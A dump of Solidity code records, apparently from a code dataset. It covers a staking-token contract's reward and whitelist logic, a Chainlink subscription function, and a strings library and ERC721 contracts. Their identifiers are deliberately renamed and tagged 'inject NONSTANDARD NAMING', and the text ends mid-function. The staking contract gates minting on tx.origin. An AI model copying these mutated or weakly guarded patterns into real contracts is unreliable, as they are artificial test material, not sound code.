uint256 _whitelistedAddressesLength = _whitelistedAddresses.length(); for (uint256 i=0; i<_whitelistedAddressesLength; i=i.add(1)) { //get getUnstakeTime and compare it with current timestamp to check if 21 days + epoch difference has passed _lpContractAddressLocal = _lpContractAddress[_whitelistedAddresses.at(i)]; if(_lpContractAddressLocal == lpContractAddress) { result = true; holderAddress = _holderContractAddress[_whitelistedAddresses.at(i)]; break; } } } /** * @dev Calculate pending rewards for the provided 'address'. The rate is the moving reward rate. * @param whitelistedAddress: contract address */ function getHolderData(address whitelistedAddress) public view virtual override returns (address holderAddress, address lpAddress, uint256 lastHolderRewardTimestamp){ // Get the time in number of blocks holderAddress = _holderContractAddress[whitelistedAddress]; lpAddress = _lpContractAddress[whitelistedAddress]; lastHolderRewardTimestamp = _lastHolderRewardTimestamp[whitelistedAddress]; } /* * @dev set reward rate called by admin * @param rewardRate: reward rate * * * Requirements: * * - `rate` cannot be less than or equal to zero. * */ function setRewardRate(uint256 rewardRate) public virtual override returns (bool success) { // range checks for rewardRate. Since rewardRate cannot be more than 100%, the max cap // is _valueDivisor * 100, which then brings the fees to 100 (percentage) require(rewardRate <= _valueDivisor.mul(100), "ST1"); require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ST2"); _rewardRate.push(rewardRate); _lastMovingRewardTimestamp.push(block.timestamp); return true; } /** * @dev get reward rate and value divisor */ function getRewardRate() public view virtual returns (uint256[] memory rewardRate, uint256 valueDivisor) { rewardRate = _rewardRate; valueDivisor = _valueDivisor; } /** * @dev get rewards till timestamp * @param to: account address */ function getLastUserRewardTimestamp(address to) public view virtual returns (uint256 lastUserRewardTimestamp) { lastUserRewardTimestamp = _lastUserRewardTimestamp[to]; } /** * @dev Mint new stokens for the provided 'address' and 'tokens' * @param to: account address, tokens: number of tokens * * Emits a {MintTokens} event with 'to' set to address and 'tokens' set to amount of tokens. * * Requirements: * * - `amount` cannot be less than zero. * */ function mint(address to, uint256 tokens) public virtual override returns (bool) { require(tx.origin == to && _msgSender() == _liquidStakingContract, "ST3"); _mint(to, tokens); return true; } /* * @dev Burn stokens for the provided 'address' and 'tokens' * @param to: account address, tokens: number of tokens * * Emits a {BurnTokens} event with 'to' set to address and 'tokens' set to amount of tokens. * * Requirements: * * - `amount` cannot be less than zero. * */ function burn(address from, uint256 tokens) public virtual override returns (bool) { require(tx.origin == from && _msgSender() == _liquidStakingContract, "ST4"); _burn(from, tokens); return true; } /** * @dev Calculate pending rewards from the provided 'principal' & 'lastRewardTimestamp'. The rate is the moving reward rate. * @param principal: principal amount * @param lastRewardTimestamp: timestamp of last reward calculation performed */ function _calculatePendingRewards(uint256 principal, uint256 lastRewardTimestamp) internal view returns (uint256 pendingRewards){ uint256 _index; uint256 _rewardBlocks; uint256 _simpleInterestOfInterval; uint256 _temp; // return 0 if principal or timeperiod is zero if(principal == 0 || block.timestamp.sub(lastRewardTimestamp) == 0) return 0; // calculate rewards for each interval period between rewardRate changes uint256 _lastMovingRewardLength = _lastMovingRewardTimestamp.length.sub(1); for(_index = _lastMovingRewardLength; _index >= 0;){ // logic applies for all indexes of array except last index if(_index < _lastMovingRewardTimestamp.length.sub(1)) { if(_lastMovingRewardTimestamp[_index] > lastRewardTimestamp) { _rewardBlocks = (_lastMovingRewardTimestamp[_index.add(1)]).sub(_lastMovingRewardTimestamp[_index]); _temp = principal.mulDiv(_rewardRate[_index], 100); _simpleInterestOfInterval = _temp.mulDiv(_rewardBlocks, _valueDivisor); pendingRewards = pendingRewards.add(_simpleInterestOfInterval); } else { _rewardBlocks = (_lastMovingRewardTimestamp[_index.add(1)]).sub(lastRewardTimestamp); _temp = principal.mulDiv(_rewardRate[_index], 100); _simpleInterestOfInterval = _temp.mulDiv(_rewardBlocks, _valueDivisor); pendingRewards = pendingRewards.add(_simpleInterestOfInterval); break; } } // logic applies only for the last index of array else { if(_lastMovingRewardTimestamp[_index] > lastRewardTimestamp) { _rewardBlocks = (block.timestamp).sub(_lastMovingRewardTimestamp[_index]); _temp = principal.mulDiv(_rewardRate[_index], 100); _simpleInterestOfInterval = _temp.mulDiv(_rewardBlocks, _valueDivisor); pendingRewards = pendingRewards.add(_simpleInterestOfInterval); } else { _rewardBlocks = (block.timestamp).sub(lastRewardTimestamp); _temp = principal.mulDiv(_rewardRate[_index], 100); _simpleInterestOfInterval = _temp.mulDiv(_rewardBlocks, _valueDivisor); pendingRewards = pendingRewards.add(_simpleInterestOfInterval); break; } } if(_index == 0) break; else { _index = _index.sub(1); } } return pendingRewards; } /** * @dev Calculate pending rewards for the provided 'address'. The rate is the moving reward rate. * @param to: account address */ function calculatePendingRewards(address to) public view virtual override returns (uint256 pendingRewards){ // Get the time in number of blocks uint256 _lastRewardTimestamp = _lastUserRewardTimestamp[to]; // Get the balance of the account uint256 _balance = balanceOf(to); // calculate pending rewards using _calculatePendingRewards pendingRewards = _calculatePendingRewards(_balance, _lastRewardTimestamp); return pendingRewards; } /** * @dev Calculate rewards for the provided 'address' * @param to: account address */ function _calculateRewards(address to) internal returns (uint256){ // Calculate the rewards pending uint256 _reward = calculatePendingRewards(to); // Set the new stakedBlock to the current, // as per Checks-Effects-Interactions pattern _lastUserRewardTimestamp[to] = block.timestamp; // mint uTokens only if reward is greater than zero if(_reward>0) { // Mint new uTokens and send to the callers account _uTokens.mint(to, _reward); emit CalculateRewards(to, _reward, block.timestamp); } return _reward; } /** * @dev Calculate rewards for the provided 'address' * @param to: account address * * Emits a {TriggeredCalculateRewards} event with 'to' set to address, 'reward' set to amount of tokens and 'timestamp' * */ function calculateRewards(address to) public virtual override whenNotPaused returns (bool success) { require(to == _msgSender(), "ST5"); uint256 reward = _calculateRewards(to); emit TriggeredCalculateRewards(to, reward, block.timestamp); return true; } /** * @dev Calculate rewards for the provided 'holder address' * @param to: address * @param from: address * @param amount: token amount */ function _calculateHolderRewards(address to, address from, uint256 amount) internal returns (uint256){ // holderContract and lpContract (lp token contract) need to be validated together because // it might not be practical to setup holder to collect reward pool but not StakeLP to distribute reward // since the reward distribution calculation starts the minute reward pool is created require(_whitelistedAddresses.contains(to) && _holderContractAddress[to] != address(0) && _lpContractAddress[to] != address(0), "ST6"); uint256 _sTokenSupply = IHolder(_holderContractAddress[to]).getSTokenSupply(to, from, amount); // calculate the reward applying the moving reward rate uint256 _newRewards = _calculatePendingRewards(_sTokenSupply, _lastHolderRewardTimestamp[to]); // update the last timestamp of reward pool to the current time as per Checks-Effects-Interactions pattern _lastHolderRewardTimestamp[to] = block.timestamp; // Mint new uTokens and send to the holder contract account as updated reward pool if(_newRewards > 0) { _uTokens.mint(_holderContractAddress[to], _newRewards); emit CalculateHolderRewards(_holderContractAddress[to], _newRewards, block.timestamp); } return _newRewards; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { require(!paused(), "ST7"); super._beforeTokenTransfer(from, to, amount); if(from == address(0)){ if(!_whitelistedAddresses.contains(to)){ _calculateRewards(to); } else { _calculateHolderRewards(to, from, amount); } } if(from != address(0) && !_whitelistedAddresses.contains(from)){ if(to == address(0)){ _calculateRewards(from); } if(to != address(0) && !_whitelistedAddresses.contains(to)){ _calculateRewards(from); _calculateRewards(to); } if(to != address(0) && _whitelistedAddresses.contains(to)){ _calculateRewards(from); _calculateHolderRewards(to, from, amount); } } if(from != address(0) && _whitelistedAddresses.contains(from)){ if(to == address(0)){ _calculateHolderRewards(from, to, amount); } if(to != address(0) && !_whitelistedAddresses.contains(to)){ _calculateHolderRewards(from, to, amount); _calculateRewards(to); } if(to != address(0) && _whitelistedAddresses.contains(to)){ _calculateHolderRewards(from, address(0), amount); _calculateHolderRewards(to, address(0), amount); } } } /* * @dev Set 'whitelisted address', performed by admin only * @param whitelistedAddress: contract address of the whitelisted party * @param holderContractAddress: holder contract address * @param lpContractAddress: LP token contract address * * Emits a {setWhitelistedAddress} event * */ function setWhitelistedAddress(address whitelistedAddress, address holderContractAddress, address lpContractAddress) public virtual returns (bool success){ require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ST8"); // lpTokenERC20ContractAddress or sTokenReserveContractAddress can be address(0) but not whitelistedAddress require(whitelistedAddress != address(0), "ST9"); // add the whitelistedAddress if it isn't already available if(!_whitelistedAddresses.contains(whitelistedAddress)) _whitelistedAddresses.add(whitelistedAddress); // add the contract addresses to holder mapping variable _holderContractAddress[whitelistedAddress] = holderContractAddress; _lpContractAddress[whitelistedAddress] = lpContractAddress; emit SetWhitelistedAddress(whitelistedAddress, holderContractAddress, lpContractAddress, block.timestamp); success = true; return success; } /* * @dev remove 'whitelisted address', performed by admin only * @param whitelistedAddress: contract address of the whitelisted party * * Emits a {RemoveWhitelistedAddress} event * */ function removeWhitelistedAddress(address whitelistedAddress) public virtual returns (bool success){ require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ST10"); require(whitelistedAddress != address(0), "ST11"); // remove whitelistedAddress from the list _whitelistedAddresses.remove(whitelistedAddress); address _holderContractAddressLocal = _holderContractAddress[whitelistedAddress]; address _lpContractAddressLocal = _lpContractAddress[whitelistedAddress]; // delete holder contract values delete _holderContractAddress[whitelistedAddress]; delete _lpContractAddress[whitelistedAddress]; emit RemoveWhitelistedAddress(whitelistedAddress, _holderContractAddressLocal, _lpContractAddressLocal, block.timestamp); success = true; return success; } /* * @dev Set 'contract address', called from constructor * @param uTokenContract: utoken contract address * * Emits a {SetUTokensContract} event with '_contract' set to the utoken contract address. * */ function setUTokensContract(address uTokenContract) public virtual override { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ST12"); _uTokens = IUTokens(uTokenContract); emit SetUTokensContract(uTokenContract); } /* * @dev Set 'contract address', called from constructor * @param liquidStakingContract: liquidStaking contract address * * Emits a {SetLiquidStakingContract} event with '_contract' set to the liquidStaking contract address. * */ function setLiquidStakingContract(address liquidStakingContract) public virtual override{ require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "ST13"); _liquidStakingContract = liquidStakingContract; emit SetLiquidStakingContract(liquidStakingContract); } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function pause() public virtual returns (bool success) { require(hasRole(PAUSER_ROLE, _msgSender()), "ST14"); _pause(); return true; } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function unpause() public virtual returns (bool success) { require(hasRole(PAUSER_ROLE, _msgSender()), "ST15"); _unpause(); return true; } }
Triggers stopped state. Requirements: - The contract must not be paused./
function pause() public virtual returns (bool success) { require(hasRole(PAUSER_ROLE, _msgSender()), "ST14"); _pause(); return true; }
947,091
./full_match/80001/0xe02102a6a6B8CCC0a7fD2313823C8186A729fD38/sources/contracts/ThriftClubFactory.sol
Cancel the subscription and send the remaining LINK to a wallet address.
function cancelSubscription(address receivingWallet) public { COORDINATOR.cancelSubscription(s_subscriptionId, receivingWallet); s_subscriptionId = 0; }
863,276
pragma solidity ^0.5.5; library strings { struct slice { uint _len; uint _ptr; } function MEMCPY184(uint dest, uint src, uint len) private pure { //inject NONSTANDARD NAMING // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function TOSLICE667(string memory self) internal pure returns (slice memory) { //inject NONSTANDARD NAMING uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } function LEN420(bytes32 self) internal pure returns (uint) { //inject NONSTANDARD NAMING uint ret; if (self == 0) return 0; if (uint(self) & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (uint(self) & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (uint(self) & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (uint(self) & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (uint(self) & 0xff == 0) { ret += 1; } return 32 - ret; } function TOSLICEB32242(bytes32 self) internal pure returns (slice memory ret) { //inject NONSTANDARD NAMING // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = LEN420(self); } function COPY737(slice memory self) internal pure returns (slice memory) { //inject NONSTANDARD NAMING return slice(self._len, self._ptr); } function TOSTRING824(slice memory self) internal pure returns (string memory) { //inject NONSTANDARD NAMING string memory ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } MEMCPY184(retptr, self._ptr, self._len); return ret; } function LEN420(slice memory self) internal pure returns (uint l) { //inject NONSTANDARD NAMING // Starting at ptr-31 means the LSB will be the byte we care about uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function EMPTY246(slice memory self) internal pure returns (bool) { //inject NONSTANDARD NAMING return self._len == 0; } function COMPARE76(slice memory self, slice memory other) internal pure returns (int) { //inject NONSTANDARD NAMING uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint256 mask = uint256(-1); // 0xffff... if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } function EQUALS848(slice memory self, slice memory other) internal pure returns (bool) { //inject NONSTANDARD NAMING return COMPARE76(self, other) == 0; } function NEXTRUNE884(slice memory self, slice memory rune) internal pure returns (slice memory) { //inject NONSTANDARD NAMING rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } function NEXTRUNE884(slice memory self) internal pure returns (slice memory ret) { //inject NONSTANDARD NAMING NEXTRUNE884(self, ret); } function ORD412(slice memory self) internal pure returns (uint ret) { //inject NONSTANDARD NAMING if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } function KECCAK7(slice memory self) internal pure returns (bytes32 ret) { //inject NONSTANDARD NAMING assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } function STARTSWITH158(slice memory self, slice memory needle) internal pure returns (bool) { //inject NONSTANDARD NAMING if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } function BEYOND684(slice memory self, slice memory needle) internal pure returns (slice memory) { //inject NONSTANDARD NAMING if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } function ENDSWITH884(slice memory self, slice memory needle) internal pure returns (bool) { //inject NONSTANDARD NAMING if (self._len < needle._len) { return false; } uint selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } function UNTIL972(slice memory self, slice memory needle) internal pure returns (slice memory) { //inject NONSTANDARD NAMING if (self._len < needle._len) { return self; } uint selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function FINDPTR600(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { //inject NONSTANDARD NAMING uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function RFINDPTR373(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { //inject NONSTANDARD NAMING uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } ptr = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr <= selfptr) return selfptr; ptr--; assembly { ptrdata := and(mload(ptr), mask) } } return ptr + needlelen; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } function FIND686(slice memory self, slice memory needle) internal pure returns (slice memory) { //inject NONSTANDARD NAMING uint ptr = FINDPTR600(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } function RFIND966(slice memory self, slice memory needle) internal pure returns (slice memory) { //inject NONSTANDARD NAMING uint ptr = RFINDPTR373(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } function SPLIT752(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) { //inject NONSTANDARD NAMING uint ptr = FINDPTR600(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } function SPLIT752(slice memory self, slice memory needle) internal pure returns (slice memory token) { //inject NONSTANDARD NAMING SPLIT752(self, needle, token); } function RSPLIT98(slice memory self, slice memory needle, slice memory token) internal pure returns (slice memory) { //inject NONSTANDARD NAMING uint ptr = RFINDPTR373(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } function RSPLIT98(slice memory self, slice memory needle) internal pure returns (slice memory token) { //inject NONSTANDARD NAMING RSPLIT98(self, needle, token); } function COUNT317(slice memory self, slice memory needle) internal pure returns (uint cnt) { //inject NONSTANDARD NAMING uint ptr = FINDPTR600(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = FINDPTR600(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } function CONTAINS145(slice memory self, slice memory needle) internal pure returns (bool) { //inject NONSTANDARD NAMING return RFINDPTR373(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } function CONCAT154(slice memory self, slice memory other) internal pure returns (string memory) { //inject NONSTANDARD NAMING string memory ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } MEMCPY184(retptr, self._ptr, self._len); MEMCPY184(retptr + self._len, other._ptr, other._len); return ret; } function JOIN989(slice memory self, slice[] memory parts) internal pure returns (string memory) { //inject NONSTANDARD NAMING if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) length += parts[i]._len; string memory ret = new string(length); uint retptr; assembly { retptr := add(ret, 32) } for(uint i = 0; i < parts.length; i++) { MEMCPY184(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { MEMCPY184(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } interface IERC165 { function SUPPORTSINTERFACE706(bytes4 interfaceId) external view returns (bool); //inject NONSTANDARD NAMING } contract IERC721 is IERC165 { event TRANSFER150(address indexed from, address indexed to, uint256 indexed tokenId); //inject NONSTANDARD NAMING event APPROVAL578(address indexed owner, address indexed approved, uint256 indexed tokenId); //inject NONSTANDARD NAMING event APPROVALFORALL29(address indexed owner, address indexed operator, bool approved); //inject NONSTANDARD NAMING function BALANCEOF194(address owner) public view returns (uint256 balance); //inject NONSTANDARD NAMING function OWNEROF501(uint256 tokenId) public view returns (address owner); //inject NONSTANDARD NAMING function SAFETRANSFERFROM763(address from, address to, uint256 tokenId) public; //inject NONSTANDARD NAMING function TRANSFERFROM196(address from, address to, uint256 tokenId) public; //inject NONSTANDARD NAMING function APPROVE594(address to, uint256 tokenId) public; //inject NONSTANDARD NAMING function GETAPPROVED68(uint256 tokenId) public view returns (address operator); //inject NONSTANDARD NAMING function SETAPPROVALFORALL944(address operator, bool _approved) public; //inject NONSTANDARD NAMING function ISAPPROVEDFORALL189(address owner, address operator) public view returns (bool); //inject NONSTANDARD NAMING function SAFETRANSFERFROM763(address from, address to, uint256 tokenId, bytes memory data) public; //inject NONSTANDARD NAMING } contract IERC721Metadata is IERC721 { function NAME560() external view returns (string memory); //inject NONSTANDARD NAMING function SYMBOL235() external view returns (string memory); //inject NONSTANDARD NAMING function TOKENURI443(uint256 tokenId) external view returns (string memory); //inject NONSTANDARD NAMING } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _MSGSENDER492() internal view returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA8() internal view returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract IERC721Enumerable is IERC721 { function TOTALSUPPLY60() public view returns (uint256); //inject NONSTANDARD NAMING function TOKENOFOWNERBYINDEX536(address owner, uint256 index) public view returns (uint256 tokenId); //inject NONSTANDARD NAMING function TOKENBYINDEX294(uint256 index) public view returns (uint256); //inject NONSTANDARD NAMING } contract IERC721Receiver { function ONERC721RECEIVED434(address operator, address from, uint256 tokenId, bytes memory data) //inject NONSTANDARD NAMING public returns (bytes4); } library SafeMath { function ADD556(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB290(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB290(a, b, "SafeMath: subtraction overflow"); } function SUB290(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL948(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV752(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV752(a, b, "SafeMath: division by zero"); } function DIV752(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD555(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD555(a, b, "SafeMath: modulo by zero"); } function MOD555(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT48(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function TOPAYABLE256(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING return address(uint160(account)); } } library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function CURRENT546(Counter storage counter) internal view returns (uint256) { //inject NONSTANDARD NAMING return counter._value; } function INCREMENT933(Counter storage counter) internal { //inject NONSTANDARD NAMING // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function DECREMENT749(Counter storage counter) internal { //inject NONSTANDARD NAMING counter._value = counter._value.SUB290(1); } } contract ERC165 is IERC165 { bytes4 private constant _interface_id_erc165217 = 0x01ffc9a7; //inject NONSTANDARD NAMING mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _REGISTERINTERFACE617(_interface_id_erc165217); } function SUPPORTSINTERFACE706(bytes4 interfaceId) external view returns (bool) { //inject NONSTANDARD NAMING return _supportedInterfaces[interfaceId]; } function _REGISTERINTERFACE617(bytes4 interfaceId) internal { //inject NONSTANDARD NAMING require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } contract ERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _erc721_received995 = 0x150b7a02; //inject NONSTANDARD NAMING // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; bytes4 private constant _interface_id_erc721781 = 0x80ac58cd; //inject NONSTANDARD NAMING constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _REGISTERINTERFACE617(_interface_id_erc721781); } function BALANCEOF194(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].CURRENT546(); } function OWNEROF501(uint256 tokenId) public view returns (address) { //inject NONSTANDARD NAMING address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function APPROVE594(address to, uint256 tokenId) public { //inject NONSTANDARD NAMING address owner = OWNEROF501(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_MSGSENDER492() == owner || ISAPPROVEDFORALL189(owner, _MSGSENDER492()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit APPROVAL578(owner, to, tokenId); } function GETAPPROVED68(uint256 tokenId) public view returns (address) { //inject NONSTANDARD NAMING require(_EXISTS310(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function SETAPPROVALFORALL944(address to, bool approved) public { //inject NONSTANDARD NAMING require(to != _MSGSENDER492(), "ERC721: approve to caller"); _operatorApprovals[_MSGSENDER492()][to] = approved; emit APPROVALFORALL29(_MSGSENDER492(), to, approved); } function ISAPPROVEDFORALL189(address owner, address operator) public view returns (bool) { //inject NONSTANDARD NAMING return 